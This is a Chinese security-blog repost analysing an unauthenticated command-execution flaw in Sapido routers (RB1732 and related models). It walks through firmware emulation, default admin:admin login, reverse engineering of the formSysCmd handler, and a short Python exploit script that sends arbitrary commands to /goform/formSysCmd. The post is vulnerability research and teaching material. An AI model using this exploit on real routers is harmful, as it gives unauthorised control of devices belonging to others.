【路由器漏洞】Sapdio路由器命令执行分析

admin 2024年11月15日16:59:41评论50 views字数 2419阅读8分3秒阅读模式
【路由器漏洞】Sapdio路由器命令执行分析
前言
金智洋Sapido是台湾钢铁集团专为 IoT 物联网技术所投资的品牌科技公司,专门设计开发智慧全无线保全系统及硬体设备,同时拥有APP的研发能力,跨足智慧家庭 SMART HOME TOTAL SOLUTION 及 智能制造 & ERP等全方位企业整合方案,提供无线分享器网通产品、智慧插座、监控保全等产品。金智洋Sapido凭藉专业的研发团队及行销市场的规划,深耕台湾,坚持台湾制造,并荣获台湾唯一拥有MIT微笑标章的网路通讯企业,且至今已累积50座台湾精品奖的殊荣,获颁台湾精品终身成就奖。
2019年该旗下多个型号路由器存在未授权命令执行漏洞,可被黑客进行恶意利用。主要影响的版本为BR270n-v2.1.03、BRC76n-v2.1.03、GR297-v2.1.3、RB1732-v2.0.43及之前的版本。
【路由器漏洞】Sapdio路由器命令执行分析
固件环境模拟

在这里该固件的环境模拟主要通过firmware-analysis-toolkit工具实现,该工具集成了主流的几款自动化固件模拟工具。这里推荐大家下载attifyos3.0,其中已安装firmware-analysis-toolkit工具

attifyos3.0下载地址:https://pan.baidu.com/s/1-UQOBax1-t8EFVrzGvEhVQ提取码:zshs

本次漏洞分析所使用的固件版本为:RB-1732_TC_v2.0.43

固件下载地址:https://share.weiyun.com/5Z9kOYc

进入attifyos虚拟机中,切换目录至~/tools/firmware-analysis-toolkit

【路由器漏洞】Sapdio路由器命令执行分析

将RB-1732_TC_v2.0.43.bin放置到虚拟机中,在这里我的位置为/home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin

【路由器漏洞】Sapdio路由器命令执行分析

在命令行中执行 python3 fat.py /home/iot/Desktop/firewalk/RB-1732_TC_v2.0.43.bin

【路由器漏洞】Sapdio路由器命令执行分析

这里首先会进行网络的自动化配置,当显示br0的网络地址时,表示模拟器网络已配置好,记住此时的br0地址为192.168.1.1

【路由器漏洞】Sapdio路由器命令执行分析

此时回车,进行固件的部署,稍等片刻,显示如下图则表示环境已部署完成

【路由器漏洞】Sapdio路由器命令执行分析

访问http://192.168.1.1/admin.asp,此时显示路由器的管理页面,默认账号密码为admin:admin,表示环境已模拟完成

【路由器漏洞】Sapdio路由器命令执行分析
【路由器漏洞】Sapdio路由器命令执行分析
漏洞复现

使用admin:admin默认账号登录后台,页面显示如下

【路由器漏洞】Sapdio路由器命令执行分析

接下来访问http://192.168.1.1/syscmd.asp,进入到命令执行页

【路由器漏洞】Sapdio路由器命令执行分析

输入ifconfig命令,成功执行

【路由器漏洞】Sapdio路由器命令执行分析

通过漏洞利用脚本执行结果如下

【路由器漏洞】Sapdio路由器命令执行分析

rb1732_exploit.py脚本内容如下

import requestsimport sysdef test_httpcommand(ip, command):  my_data = {'sysCmd': command, 'apply': 'Apply', 'submit-url':'/syscmd.asp', 'msg':''}  r = requests.post('http://%s/goform/formSysCmd' % ip, data = my_data)  content = r.text  content = content[    content.find('<textarea rows="15" name="msg" cols="80" wrap="virtual">')+56:  content.rfind('</textarea>')]  return contentprint test_httpcommand(sys.argv[1], " ".join(sys.argv[2:]))
【路由器漏洞】Sapdio路由器命令执行分析
漏洞分析

根据syscmd.asp页面,输入ifconfig命令,抓包可知,真正执行命令的后台程序为/goform/formSysCmd,命令的参数名为sysCmd。

【路由器漏洞】Sapdio路由器命令执行分析

接下来使用binwalk进行固件提取,尝试进行源码分析,命令为binwalk -Me RB-1732_TC_v2.0.43.bin

提取完成后,会生成_RB-1732_TC_v2.0.43.bin.extracted目录,其中保存有固件的源码
【路由器漏洞】Sapdio路由器命令执行分析

进入到_RB-1732_TC_v2.0.43.bin.extracted/squashfs-root中,grep -r "formSysCmd",全局查找存在该字符的位置

【路由器漏洞】Sapdio路由器命令执行分析

可以看到,除了syscmd.asp和obama.asp页面程序,只有bin/webs文件匹配到,初步判断webs程序才是真正的后台处理程序

file bin/webs,查看程序文件格式,为mips 32位程序

【路由器漏洞】Sapdio路由器命令执行分析

将webs文件拷贝出来,导入ida进行静态分析,view -> open subviews -> Strings查看全部字符串

crtl +F 查找formSyscmd字段

【路由器漏洞】Sapdio路由器命令执行分析


可以看到有2个位置存在该字段,分别位于004044DB和00471A44两个位置,首先双击004044DB的位置进入

【路由器漏洞】Sapdio路由器命令执行分析


继续双击formSysCmd,进入该函数的定义

【路由器漏洞】Sapdio路由器命令执行分析


F5进行反编译查看伪代码

【路由器漏洞】Sapdio路由器命令执行分析

到这里我们可以清楚地看到,formSysCmd函数通过websGetVar函数获取用户的输入,包括有submit_url、sysCmd、writeData、filename、fpath、readfile的参数值。其中v3为sysCmd的参数值

【路由器漏洞】Sapdio路由器命令执行分析


接下来在没有过滤v3值的情况下,通过snprintf格式化拼接字符串,得到 v20= &v3  2>&1 > /tmp/syscmd.log
最终调用system函数执行v20的字符串。
这里将v3设置成ifconfig,我们在本地执行查看效果,可以看到命令成功执行,并将结果返回到syscmd.log,因此只要命令在syscmd参数位置输入系统命令,则可导致命令执行漏洞

【路由器漏洞】Sapdio路由器命令执行分析

【路由器漏洞】Sapdio路由器命令执行分析

【路由器漏洞】Sapdio路由器命令执行分析

原文始发于微信公众号(b1gpig信息安全):【路由器漏洞】Sapdio路由器命令执行分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月15日16:59:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【路由器漏洞】Sapdio路由器命令执行分析https://cn-sec.com/archives/1629496.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息